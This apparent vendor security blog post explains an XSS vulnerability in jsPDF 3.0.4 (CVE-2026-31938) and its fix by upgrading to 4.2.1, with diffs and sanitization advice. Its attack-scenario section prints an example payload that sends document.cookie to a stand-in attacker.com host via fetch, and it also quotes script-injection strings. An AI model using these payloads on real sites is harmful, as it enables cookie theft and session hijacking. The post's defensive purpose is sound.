Back to Blog
high SEVERITY7 min read

How Cross-Site Scripting happens in jsPDF and how to fix it

CVE-2026-31938 is a critical cross-site scripting vulnerability in jsPDF versions prior to 4.2.1, where unsanitized output options could allow attackers to inject malicious scripts into PDF generation workflows. The fix upgrades jsPDF from 3.0.4 to 4.2.1 in both `package.json` and `pnpm-lock.yaml`, closing the attack surface in Handsontable's export-to-PDF feature. Developers using jsPDF in any web application should upgrade immediately, as this vulnerability is assessed as likely exploitable.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-31938 is a critical Cross-Site Scripting (XSS) vulnerability in jsPDF (CWE-79) affecting versions below 4.2.1, where unsanitized user-controlled values passed as output options could be reflected into the browser DOM or PDF output without escaping. The fix is to upgrade jsPDF from 3.0.4 to 4.2.1 by updating the dependency specifier in `package.json` and regenerating `pnpm-lock.yaml`, which resolves the vulnerability by introducing proper input sanitization in the library itself.

Vulnerability at a Glance

cweCWE-79
fixUpgrade jsPDF from 3.0.4 to 4.2.1 in package.json and pnpm-lock.yaml
riskAttackers can inject and execute arbitrary scripts in users' browsers through jsPDF's output options
languageJavaScript / TypeScript
root causejsPDF 3.0.4 passes user-controlled output option values into generated content without sanitization
vulnerabilityCross-Site Scripting (XSS) via unsanitized output options

How Cross-Site Scripting Happens in jsPDF and How to Fix It

Vulnerability at a Glance

Field Detail
Vulnerability Cross-Site Scripting (XSS) via unsanitized output options
CVE CVE-2026-31938
CWE CWE-79
Severity Critical
Affected Package jspdf < 4.2.1
Fix Upgrade to jspdf@4.2.1

Introduction

The pnpm-lock.yaml file in Handsontable's documentation project pinned jspdf at version 3.0.4 — a version carrying a critical cross-site scripting vulnerability that Trivy's dependency scanner flagged as CVE-2026-31938. The vulnerability lives inside jsPDF's handling of output options: user-controlled values can flow into the library's output pipeline without proper sanitization, creating a path for script injection.

This matters beyond Handsontable. Any JavaScript application that uses jsPDF 3.x to generate PDFs from user-supplied data — document titles, author metadata, custom headers, or dynamic content fields — is potentially exposed. Because jsPDF is a popular client-side PDF generation library with millions of weekly downloads, the blast radius of this class of vulnerability is significant.


The Vulnerability Explained

What Went Wrong in jsPDF 3.0.4

Cross-site scripting occurs when an application incorporates attacker-controlled data into output (HTML, PDF annotations, JavaScript-rendered content) without first neutralizing special characters or script-bearing strings. In jsPDF's case, CVE-2026-31938 describes a scenario where unsanitized values passed through output options can escape their intended context.

Consider how jsPDF is typically used in a Handsontable export workflow:

// Typical export-to-PDF usage pattern (simplified)
const doc = new jsPDF({
  orientation: 'landscape',
  unit: 'px',
  format: 'a4'
});

// User-controlled content flowing into PDF output options
doc.setProperties({
  title: userProvidedTitle,       // <-- attacker-controlled
  author: userProvidedAuthor,     // <-- attacker-controlled
  subject: userProvidedSubject    // <-- attacker-controlled
});

autoTable(doc, {
  head: spreadsheetHeaders,
  body: spreadsheetData           // <-- could contain injected content
});

In jsPDF 3.0.4, if userProvidedTitle or similar fields contain script-bearing strings (e.g., "><script>alert(document.cookie)</script>), the library's internal handling of these output options fails to neutralize the payload before it reaches the rendered output. Depending on how the PDF is previewed (inline in an <iframe>, rendered by a PDF.js viewer in the browser, or opened in a browser tab via a blob URL), this can result in JavaScript execution in the user's browser context.

The Attack Scenario

Imagine a Handsontable-powered spreadsheet application that lets users export their data to PDF. An attacker who can influence the spreadsheet's metadata or column headers — through a shared document, a form input, or a URL parameter — could craft a payload like:

Document Title: Annual Report"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

When a victim exports the sheet to PDF using jsPDF 3.0.4 and the output is rendered in a browser-based PDF viewer, the injected payload executes, silently exfiltrating session cookies. No user interaction beyond clicking "Export to PDF" is required.

The CDN script tag in the documentation made this particularly visible:

<!-- Vulnerable: jsPDF 3.0.4 loaded from CDN -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>

Any developer copying this CDN snippet from the docs would have been pulling in the vulnerable version.


The Fix

Exactly What Changed

The fix is a targeted version bump across three files. Here's the complete picture:

docs/package.json — The version specifier was updated:

- "jspdf": "^3.0.4",
+ "jspdf": "^4.2.1",

pnpm-lock.yaml — The resolved version and peer dependency binding were updated:

   jspdf:
-    specifier: ^3.0.4
-    version: 3.0.4
+    specifier: ^4.2.1
+    version: 4.2.1
   jspdf-autotable:
     specifier: ^5.0.7
-    version: 5.0.8(jspdf@3.0.4)
+    version: 5.0.8(jspdf@4.2.1)

docs/content/recipes/import-export/export-to-pdf/export-to-pdf.md — The CDN reference in documentation was corrected so developers copying the snippet don't inadvertently use the vulnerable version:

- <script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>
- <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.7/dist/jspdf.plugin.autotable.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.8/dist/jspdf.plugin.autotable.min.js"></script>

Why Each Change Was Necessary

  1. package.json: This is the authoritative source of truth for the dependency. Without updating this file, any fresh pnpm install would resolve back to a 3.x version.

  2. pnpm-lock.yaml: The lock file pins exact resolved versions. Updating package.json alone doesn't change what's actually installed — the lock file must be regenerated. Notice that jspdf-autotable's peer dependency binding also updated from (jspdf@3.0.4) to (jspdf@4.2.1), ensuring the plugin resolves against the patched base library.

  3. Documentation markdown: This is often overlooked. CDN snippets in documentation are copied verbatim by developers worldwide. Leaving the old version in the docs would have propagated the vulnerability to every developer following the export-to-PDF recipe.

How the Fix Resolves the Vulnerability

jsPDF 4.2.1 introduces proper sanitization of values passed through output options before they are incorporated into the generated PDF structure. User-controlled strings are now escaped or stripped of executable content at the library level, meaning the attack path from user input → unsanitized output → script execution is broken regardless of whether the calling application validates inputs.


Prevention & Best Practices

1. Lock Your Dependencies and Scan Your Lock Files

The vulnerability was caught specifically because Trivy scanned pnpm-lock.yaml — not just package.json. Lock files contain the actual resolved versions, making them the most accurate target for SCA scanning.

# Scan your lock file directly with Trivy
trivy fs --scanners vuln pnpm-lock.yaml

# Or scan the whole project
trivy fs .

2. Sanitize User Input Before Passing to PDF Libraries

Even with a patched library, defense in depth means validating inputs at the application boundary:

import DOMPurify from 'dompurify';

const safeTitle = DOMPurify.sanitize(userProvidedTitle, { ALLOWED_TAGS: [] });
doc.setProperties({ title: safeTitle });

Stripping all HTML tags (using { ALLOWED_TAGS: [] }) is appropriate for PDF metadata fields that should contain plain text only.

3. Use Exact Versions in CDN References for Documentation

CDN snippets with floating versions (@latest or @^3) are dangerous in documentation. Pin to an exact version:

<!-- Prefer exact version pins in documentation snippets -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>

4. Implement a Dependency Update Policy

  • Use Dependabot, Renovate, or Orbis AppSec to automate security updates
  • Set "jspdf": "^4.2.1" (caret range) rather than "=3.0.4" (exact pin) so patch releases are automatically included
  • Review your pnpm-lock.yaml in PRs — unexplained version changes in lock files can indicate supply chain issues

5. Relevant Security Standards

  • OWASP Top 10 A03:2021 – Injection (XSS falls under this category)
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • OWASP XSS Prevention Cheat Sheet: Covers output encoding and sanitization strategies

Key Takeaways

  • jsPDF 3.0.4 is vulnerable; upgrade to 4.2.1 immediately. If your pnpm-lock.yaml or package-lock.json contains jspdf@3.x, you are exposed to CVE-2026-31938.
  • Lock files are security artifacts. Trivy caught this vulnerability by scanning pnpm-lock.yaml — treat lock file changes with the same scrutiny as source code changes.
  • Documentation CDN snippets propagate vulnerabilities. The fix correctly updated the CDN reference in export-to-pdf.md, preventing the vulnerable version from being copied by developers following the guide.
  • Peer dependency bindings matter. The jspdf-autotable peer dependency entry in pnpm-lock.yaml changed from (jspdf@3.0.4) to (jspdf@4.2.1) — a subtle but critical detail ensuring the plugin operates against the patched library.
  • User-controlled PDF metadata is a real attack vector. Document properties like title, author, and subject are often overlooked as XSS vectors; they deserve the same sanitization treatment as visible content.

How Orbis AppSec Detected This

  • Source: User-controlled values passed as output options to jsPDF constructor and doc.setProperties() calls in the export-to-PDF workflow
  • Sink: jsPDF 3.0.4's internal output rendering pipeline, which incorporates unsanitized option values into generated PDF content (pnpm-lock.yaml, dependency: jspdf@3.0.4)
  • Missing control: No sanitization of user-supplied strings before they are passed to jsPDF output options; the library itself lacked neutralization in version 3.0.4
  • CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Upgraded jspdf from 3.0.4 to 4.2.1 in docs/package.json and regenerated pnpm-lock.yaml, incorporating jsPDF's patched sanitization logic

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-31938 is a sharp reminder that third-party PDF generation libraries are not immune to web security vulnerabilities. jsPDF's popularity makes this a high-priority upgrade — any application using version 3.x that accepts user-controlled content for PDF generation is potentially serving as an XSS vector. The fix is straightforward: update to 4.2.1 in your package.json, regenerate your lock file, and update any CDN references in your documentation. Pair the upgrade with application-level input sanitization using a library like DOMPurify, and integrate automated dependency scanning into your CI pipeline so the next CVE gets caught before it reaches production.


References

Frequently Asked Questions

What is CVE-2026-31938?

CVE-2026-31938 is a critical XSS vulnerability in jsPDF versions before 4.2.1 where unsanitized output options allow attackers to inject malicious scripts into PDF generation output.

How do you prevent XSS in JavaScript PDF generation libraries?

Always use the latest patched version of jsPDF (4.2.1+), validate and sanitize all user-controlled values before passing them as output options, and pin dependency versions in your lock file.

What CWE is this XSS vulnerability?

This vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is input validation alone enough to prevent XSS in jsPDF?

No. While input validation helps, the root fix requires upgrading to jsPDF 4.2.1, which patches the sanitization logic inside the library itself. Application-level validation is a defense-in-depth measure, not a substitute.

Can static analysis detect this XSS vulnerability?

Yes. Trivy's dependency scanning flagged this exact vulnerability by matching the installed version of jsPDF in pnpm-lock.yaml against its CVE database, demonstrating that SCA (Software Composition Analysis) tools are effective at catching known CVEs in lock files.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13207

Related Articles

critical

How Cross-Site Scripting happens in XML parsing libraries and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in the `fast-xml-parser` npm package caused by improper handling of DOCTYPE entity declarations. The flaw was discovered in the `mail-worker` service's dependency tree and patched by upgrading to version 5.3.5/4.5.4 and enforcing the fix via a pnpm override to `5.7.0`. Left unpatched, this vulnerability could allow attackers to inject malicious scripts through crafted XML payloads processed by the mail pipeline.

high

How React Router SSR XSS in ScrollRestoration Happens and How to Fix It

CVE-2026-21884 is a high-severity cross-site scripting (XSS) vulnerability in React Router's ScrollRestoration component that affects server-side rendering (SSR) implementations. The vulnerability was introduced through unsafe handling of scroll position data that could be influenced by untrusted input. This fix upgrades react-router from version 7.9.5 to 8.3.0, replacing the vulnerable `cookie` dependency with `cookie-es` and removing the `set-cookie-parser` dependency entirely.

critical

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

A critical vulnerability in the content-map component allowed attackers to inject malicious JavaScript through unsanitized title and description fields displayed in map marker popups. By implementing proper HTML entity escaping on both Leaflet and Google Maps implementations, the vulnerability was completely eliminated while preserving all legitimate functionality.

critical

How DOM-Based XSS Happens in jQuery tagsInput() and How to Fix It

A DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in the VvvebJs web editor's `inputs.js` file where the jQuery `tagsInput()` function at line 932 directly inserted user-controlled data into the DOM without sanitization. The fix applies HTML entity encoding to all string values before they reach the DOM, preventing malicious script injection while preserving legitimate tag functionality.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A critical Cross-Site Scripting (XSS) vulnerability was discovered in `js/main.js` where commit messages fetched from the GitHub API were directly interpolated into `innerHTML` without any sanitization. An attacker with repository write access could push a commit with a malicious message like `<img src=x onerror=alert(document.cookie)>`, causing arbitrary JavaScript execution in every visitor's browser. The fix applies HTML entity encoding to all five dangerous characters before rendering.

high

How Path Traversal happens in PostCSS Source Map Loading and how to fix it

A path traversal vulnerability in PostCSS versions before 8.5.18 allowed malicious `sourceMappingURL` comments in CSS files to trick PostCSS into loading arbitrary `.map` files from the filesystem. The fix upgrades PostCSS from 8.5.15 to 8.5.18 in `frontend/package-lock.json` and pins the version via an override in `frontend/package.json`, closing the file disclosure vector before it could be chained with other weaknesses.